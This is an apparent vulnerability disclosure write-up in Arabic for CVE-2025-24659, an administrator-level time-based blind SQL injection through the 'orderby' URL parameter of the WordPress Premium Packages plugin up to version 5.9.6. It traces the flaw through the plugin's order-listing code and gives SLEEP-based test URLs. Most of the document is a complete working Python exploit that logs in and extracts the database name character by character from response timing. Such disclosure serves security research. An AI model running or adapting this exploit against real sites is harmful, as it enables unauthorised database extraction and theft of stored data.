
PoC لثغرة CVE-2025-24659
إضافة WordPress
Component name Premium Packages – Sell Digital Products Securely
Vulnerable version <= 5.9.6
Component slug wpdm-premium-packages
Component link https://wordpress.org/plugins/wpdm-premium-packages/
Vulnerability class A3: Injection
Vulnerability type SQL Injection
مدير (Administrator)
توجد ثغرة من نوع SQL Injection في الإصدارات 5.9.6 وما دون من إضافة Premium Packages – Sell Digital Products Securely (يُشار إليها فيما بعد باسم إضافة Premium Packages). يحدث ذلك بسبب عدم كفاية تهريب معامل URL orderby عند عرض قائمة الطلبات في قائمة الطلبات بلوحة تحكم الإضافة (/wp-admin/edit.php?post_type=wpdmpro&page=orders).
نتيجةً لذلك، يمكن لمهاجم يمتلك صلاحيات مدير استغلال هذه الثغرة للوصول إلى جميع المعلومات المخزنة في قاعدة بيانات الموقع المستهدف.
علاوةً على ذلك، وعلى الرغم من أن ثغرة SQL Injection هذه لا تسمح باسترجاع البيانات مباشرةً من بيانات الاستجابة، يمكن استخراج المعلومات باستخدام تقنيات Time-Based Blind SQL Injection التي تستفيد من الفرق في أوقات الاستجابة بناءً على شروط الصواب/الخطأ (true/false) في استعلامات SQL.
سجّل الدخول كمدير إلى موقع WordPress مثبّتة عليه إضافة Premium Packages ومفعّلة.
نظرًا لأن إضافة Premium Packages هي إضافة مكمّلة لإضافة Download Manager (https://wordpress.org/plugins/download-manager/)، يجب أيضًا تثبيت إضافة Download Manager وتفعيلها.
بعد الوصول إلى الرابط أدناه، سيكون شرط استعلام SQL (1=1) صحيحًا دائمًا، مما يؤدي إلى ظهور الصفحة بعد 5 ثوانٍ بسبب دالة SLEEP(5).
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2) يكون خاطئًا دائمًا، تظهر الصفحة فورًا.http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

عند طلب لوحة قائمة الطلبات الخاصة بإضافة Premium Packages، يتم تنفيذ الملف /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php.
عند هذه النقطة، تُسنَد قيمة معامل URL orderby إلى المتغير $orderby دون تهريب مناسب. بعد ذلك، يُمرَّر المتغير $orderby إلى المتغير $qry ويُكمل عبارة order by في استعلام SQL.

ثم يُمرَّر المتغير $qry كوسيط إلى الدالتين totalOrders وGetAllOrders.
تُعرَّف هاتان الدالتان في الملف /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php، وتُستخدم قيمة الوسيط المستلَم مباشرةً في استعلامات قاعدة البيانات.

لذلك، وبما أن قيمة معامل URL orderby تُستخدم مباشرةً في استعلامات قاعدة البيانات دون تهريب، تحدث ثغرة SQL Injection.

ثم أدخل الأمر التالي لتشغيل كود PoC.
Required modulesrequests
python poc.py

import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()